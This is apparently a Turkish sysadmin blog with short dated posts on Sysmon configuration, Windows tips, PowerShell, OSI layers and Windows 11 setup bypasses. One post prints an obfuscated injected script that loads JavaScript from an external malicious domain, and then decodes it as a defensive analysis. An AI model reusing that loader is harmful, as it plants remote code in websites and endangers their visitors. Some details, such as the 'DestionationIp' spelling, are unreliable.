26.12.2023

Sysmon'da No declaration for element DestinationIP hatası

Sysmon'da kullanmak üzere bir XML yapılandırma dosyası hazırladım. Belli bir IP adresi ile yapılan iletişimin kayda geçmesi için hedef IP adresini belirtmek istedim, hatta bazı portları. Bunun için SwiftOnSecurity'nin yapılandırma dosyasını baz alarak üzerinde bazı değişiklikler yaptım. NetworkConnect (Id=3) olayı için şuna benzer bir yapılandırma oldu:

<RuleGruop name="Network" groupRelation="or">
  <NetworkConnect onmatch="include">
    <Image> ...</Image>
    ...
    <DestinationIP name="target" condition="is">192.168.22.2</DestinationIP>
    </NetworkConnect>
</RuleGruop>

Bu include bloğu sonrasında da kısa bir exclude bloğu var. Ama yapılandırma dosyasını

> sysmon -c config.xml

ile devreye almak istediğimde hata veriyordu. -t ile hata bulma modunda baktığımda şöyle hatalar veriyordu:

No declaration for element DestinationIP
No declaration for attribute name of element DestinationIP
No declaration for attribute condition of element DestinationIP
LIBXML2 Error: Failed to validate the xml configuration: config.xml

Bu hatalardan bir anlam çıkaramadım. Karşı tarafın IP adresinin belirtilmesi için kullanılan Destination IP alanının varlığından eminim, kullanan yapılandırma dosyaları da gördüm. Yaptığım aramalarda da bir sonuç bulamadım. İşi bilen birine danışmak lazım, ama öyle birini de bulamadım. Sonra aklıma Google Bard (geçen haftaki Gemini reklamlarından sonra) geldi, kısaltılmış yapılandırma dosyam ile aldığım hataları ona gönderdiğimde bana çok net bir şekilde hatamı söyledi:

Çözüm: DestinationIP öğelerini DestionationIp ile (küçük "p") değiştirin.

Bunu Barış Özcan söylemişti; yapay zeka her zaman soru sorabileceğimiz konuyu bilen bir arkadaşımız gibi.

25.12.2023

Sami Laiho'dan ipuçları

Windows dünyasının ünlü kişiliği, şu konuşmasında bazı Windows ipuçları vermiş. Bazılarını özetlemek istedim:

  • Politikalar, kötü niyetli yazılımlar vs ile komut satırı penceresini açmamız engellenmişse bile Görev Yöneticisi'nde Dosya menüsünden yeni çalıştır'a Control tuşu ile basarsak komut satırı penceresi açılır. Üstelik de yükseltilmiş ayrıcalıklarla.
  • Görev çubuğuna Control ve Shift ile birlikte sağ tıklayınca açılan menüde "Explore'dan çık" görüntülenir.
  • Alt+F4 ile açılan windows kapatma diyaloğunda İptal' Control+Shift+Alt ile basarsak bütün explorer.exe süreçleri sonlandırılır. Tekrar başlatmak için Ctrl+Alt+Del veya Ctrl+Shift+Escape ile Görev Yöneticisini başlatıp buradan yeni görev oluşturmak gerekir.
  • Buraya kadarki numaraların Dave Cuttler'a ait olduğunu, Windows 10 ve daha yeni Windows'larda ise Görev Yöneticisi'nde explorer.exe'ye sağ tıkladığımızda "Yeniden Başlat" seçeneğinin olduğunu vurgular, Sami.
  • Resmi yardım belgelerinde yer almayan komut satırı anahtlarlarını edinmek için yine bir Sysinternals aracı olan strings'in kullanılabiliriz:
    • strings wuauctl.exe
  • Windows'un professional sürümlerinde yer alan logoff.exe ile komut satırından oturum kapatmanın mümkün. Ama home sürümlerinde yok.
  • whoami /all ile Mandatory Level seviyemizi görebiliyoruz. Bu neden önemli, yükseltilmiş yetkilerle çalışan bir komut satırı penceresine normal yetkilerle çalıştırılmış bir Explorer penceresinden dosya yolunu sürükleyip bırakamıyoruz artık, Vista'dan beri. Bunun sebebi bu Mandatory Level'lar. Bu bilgiye Process Explorer'da bir sürecin Security sekmesinden de erişebiliyoruz. Hatta Appdata klasörünün altında hem Local hem de Locallow klasörlerinin olmasının sebebi de bu Level'lar. Low olan browser'larımız, Outlook, Adobe Reader gibi programların birşeyler yazması için.
  • Normal copy komutu ile yapamadığımız işleri robocopy /b komutu ile yapabiliyoruz. 

 

24.12.2023

Could not open /dev/vmmon

Linux'ta VMware Workstation Player kullanırken, çekirdek güncellemeleri sonrasında aşağıdaki gibi bir hatayla karşılaşıyorum ve sanal makineler açılmıyor.

Şu adresin yardımıyla çözümü aşağıdaki gibi buldum:

$ sudo vmware-modconfig --console --install-all
$ sudo modprobe -a vmw_vmci vmmon

Bir sonraki açılışta herşey normal.

23.12.2023

Sistem olay kaydında SChannel 36882 olayı

Bir süredir bazı makinelerin sistem olay günlüklerinde çok sayıda Schannel (id=36882) olaylarının olduğunu gördüm. Bunların neden olduğunu anlayamıyordum. Şu sayfada da yazdığı gibi bu hataların sebebi kurulu sertifikaların birisi ile ilgili. Hangi sertifika olduğunu bulmak için olayın ayrıntılar sekmesinde kolay görünüm kipinde listelenen verilerin içinde ANSI kodlanmış karakterlerin arasında sertifika ile bilgilere bakarak bir sonuca varabildim.

21.12.2023

Fortigate ve SSL Inspection

SSL inspection yaparken Fortigate'in sertifikasını kurmak gerekir. Bunun için Fortigate arayüzüne oturum açıp System > Certificates sayfasına gelerek sayfanın başlarında yer alan Local Ceritificates başlığı altında muhtemelen Fortigate_SSL_Cert şeklinde listelenen sertifikayı bilgisayarımıza indirerek Güvenilir Kök Sertifika Yetkilileri (Trusted Root Certification Authorities) alanına eklemeliyiz.

14.12.2023

Powershell modülleri

Powershell'de modül oluşturmak basit. Belgelerim klasörünüzün altında WindowsPowerShell klasöründe Modules adında bir alt klasör var. Bu konumda modülünüzle aynı isimli bir klasör oluşturup modül dosyanızı da bu klasöre kopyalamanız yeterli. Modül dosyası ise .psm1 uzantılı normal bir powershell dosyası olacak, içinde fonksiyonlarınızın tanımlı olduğu.

Normal şartlar altında Import-Module kullanmaya gerek yok; modüllerin içinde tanımlanan fonksiyonların isimlerini yazmak yeterli, modüller otomatik yükleniyor.

Ancak elimdeki modül dosyasını uzaktaki bir bilgisayara kopyalamama rağmen şöyle bir hata alıyorum.

Bu dosya benim bilgisayarımda da var, ama sayısal imza aramıyor. Neden uzak bilgisayarda arar? Bu arada uzaktaki bilgisayarda ExecutionPolicy'yi de RemoteSigned yaptım. Bypass olarak seçince çalıştı. O zaman farkettim ki olay RemoteSigned için farklılık gösteriyor. Demek ki benim uzaktaki bilgisayara kopyaladığım dosyanın Zone.Information ADS'si ile ilgili olabilir. Modül klasörüne gidip baktım:

PS> Get-Item .\Lib1.psm1 -Stream *

Evet, Zone.Information var. Önce bu engeli kaldıralım.

PS> Unblock-File .\Lib1.psm1

Sonrasında işlem başarılı.

10.12.2023

OSI katmanları

Basitleştirilmiş bir tanım ile akılda kalıcı olması açısından OSI ağ katmanlarını şöyle sıralayabiliiriz:

1. Fiziksel katman: Cihazlar arasnıdaki fiziksel bağlantının yapıldığı katman. Örnek: Kablolar, konnektörler, her bir bitin iletildiği ethernet veya fiber kabloları.

2. Veri bağlantı katmayı: Verinin aynı ağdaki cihazlar arasında güvenli bir şekilde iletilmesi işlerini yürüten katman. Örnek: Layer2 switch'ler olarak bilinen sadece MAC adreslerine bağlı olarak çalışan ağ cihazları.

3. Ağ katmanı: Verinin farklı ağlar veya alt ağlar arasında route edilmesinden sorumlu katman. Örnek: Router'lar, Layer3 switch'ler olarak bilinen ve IP adreslerine göre paketleri iletebilen ağ cihazları.

4. Taşıma katmanı: Bu katmanda verinin uçtan uca güvenli bir şekilde iletilmesi sağlanır. Hata kontrolü yapılır. Örnek:TCP ve UDP.

5. Oturum katmanı: Farklı cihazlardaki uygulamalar arasındaki oturumları veya bağlantıları yönetir. Örnek: NetBIOS.

6. Sunum katmanı: Veriyi uygulama katmanı ile alt katmanlar arasında çevirir, veri formatı ve şifreleme ile ilgilenir. Örnek: SSL ve TLS gibi şifreleme protokolleri.

7. Uygulama katmanı: Ağ hizmetlerini doğrudan son kullanıcıra veya uygulamalara sağlar. Örnek: HTTP, SMTP ve FTP gibi protokoller.

Kaynak: ChatGPT 3.5

5.12.2023

Kodlanmış betikler

Girilmek istenen web sitelerinden birisi güvenlik duvarı üzerinde zararlı kod olarak sınıflandırılıyor ve engelleniyordu. Tekrar incelenmesini istedim, ısrarla zararlı içerik olduğu belirtildi. Virustotal'de bu görüşü destekleyecek bir sonuç göremedim. Google Safe Browsing'de de.

https://sitecheck.sucuri.net ile yaptığım taramada sitenin içinde kodlanmış betik parçası buldum (dikkat, zararlı içerik barındırır!):

  <script id="sgpb-custom-script-676">
    sgAddEvent(window, "sgpbWillOpen", function (e) {
      if (e.detail.popupId == "676") {
        (function () {
          var elem = document.createElement(
            String.fromCharCode(115, 99, 114, 105, 112, 116)
          );
          elem.type = String.fromCharCode(
            116,
            101,
            120,
            116,
            47,
            106,
            97,
            118,
            97,
            115,
            99,
            114,
            105,
            112,
            116
          );
          elem.src = String.fromCharCode(
            104,
            116,
            116,
            112,
            115,
            58,
            47,
            47,
            100,
            114,
            111,
            112,
            46,
            100,
            111,
            110,
            116,
            115,
            116,
            111,
            112,
            116,
            104,
            105,
            115,
            109,
            117,
            115,
            105,
            99,
            115,
            46,
            99,
            111,
            109,
            47,
            100,
            114,
            111,
            112,
            46,
            106,
            115,
            63,
            116,
            61,
            49
          );
          document
            .getElementsByTagName(String.fromCharCode(104, 101, 97, 100))[0]
            .appendChild(elem);
        })();
      }
    });
</script>


Bu zararsız gibi görünen betiğin içinde kısaca şu işlemler var:

var elem = document.createElement(
            String.fromCharCode(115, 99, 114, 105, 112, 116)

Burada yeni bir DOM öğesi oluşturuluyor. fromCharCode() fonksiyonunun içindeki tamsayıları  Powershell yardımıyla bir değişkene atadım:

PS> $d = (115,99,114,105,112,116)

daha sonra bunları şu şekilde bir string veri tipine dönüştürdüm:

PS> $a=""; $d | % { $a = $a + [char]$_ }; $a 

Sonuç bir html betik etiketi: script

Sonraki adıma geçtim. Bu sefer de elem.type'ın satırındaki tam sayı dizisi için aynı işlemi yaptım:

PS> $d = (116,101,120,116,47,106,97,118,97,115,99,114,105,112,116)

daha sonra bunları şu şekilde string veri tipine dönüştürdüm:

PS> $a=""; $d | % { $a = $a + [char]$_ };$a

Buradan da text/javascript çıktı.

Nihayet sıra vurucu kısma geldi; üçüncü adımda elem.src'yi decode ettim oradan da https://drop.dontstopthismusics.com/drop.js?t=1 gibi bir adres çıktı. Nihayet bu üçü bir html etiketi olarak bir sonraki adımda appenChild ile DOM yapısına ekleniyor. Yani standart bir şekilde listelenmeyen bir script alt bileşenimiz ortaya çıkıyor.

Virustotal'de bu URL'i taradığımda ise şu sonuç çıktı:

 

Evet, bu adres zararlı içerik olarak sınıflandırıldı. Şu anda ulaşılabilir olmadığı için içeriğini göremiyorum. Ama bir ara ulaşılabiliyormuş ki zararlı olarak sınıflandırılabilmiş.

2.12.2023

Window 11 kurulumu

Windows 11 kurulumu bazı kısıtlamalar getirdi. Öncelikle TPM 2.0 gerekli. Bunun yanı sıra en az 4 GB bellek ve secure boot (güvenli önyükleme) gerekliliği var. Çok istersek bunları pas geçebiliriz. Eğer "Bu bilgisayara Windows 11 kurulamaz" gibi bir ekran ile karşılaştıysak Shift+F10 ile komut satırı penceresini açıp, oradan regedit ile kayıt defterini çalıştırdıktan sonra

HKEY_LOCAL_MACHINE\SYSTEM\Setup

anahtarına gidip burada bir LabConfig alt anahtarı oluşturup içine de aşağıdaki REG_DWORD32 değerlerini eklemeliyiz.

BypassTPMCheck = 1
BypassSecureBootCheck = 1
BypassSecureBootCheck = 1

Bu aşamadan sonra bir önceki adıma geri dönüp tekrar ileri demek gerek.

Bundan sonraki aşamada da bizden bir çevrim içi hesap isteyecek. Bu da zorunlu gibi duruyor ama pas geçmek mümkün. Windows'un internet bağlantısı yoksa çevrim dışı kurulum yapılabilir. Microsoft bunu biraz daha az işlevsellik sunan bir kısıtlı mod olarak görüyor. Bunu yapabilmek için bilgisayara kurulum sırasında ağ bağlantısı yapmamak bir seçenek. Yapıldıysa uçak moduna almak (klavyede böyle bir tuş varsa) ya da yine o ekrana geldiğimizde Shift+F10 ile komut satırını açıp aşağıdaki yöntemlerden biriyle ağ bağlantısını devre dışı bırakma seçeneğimiz var:

> ipconfig /release
> netsh interface set interface Wi-Fi disable
> powershell -Command Disable-NetAdapter "Wi-Fi"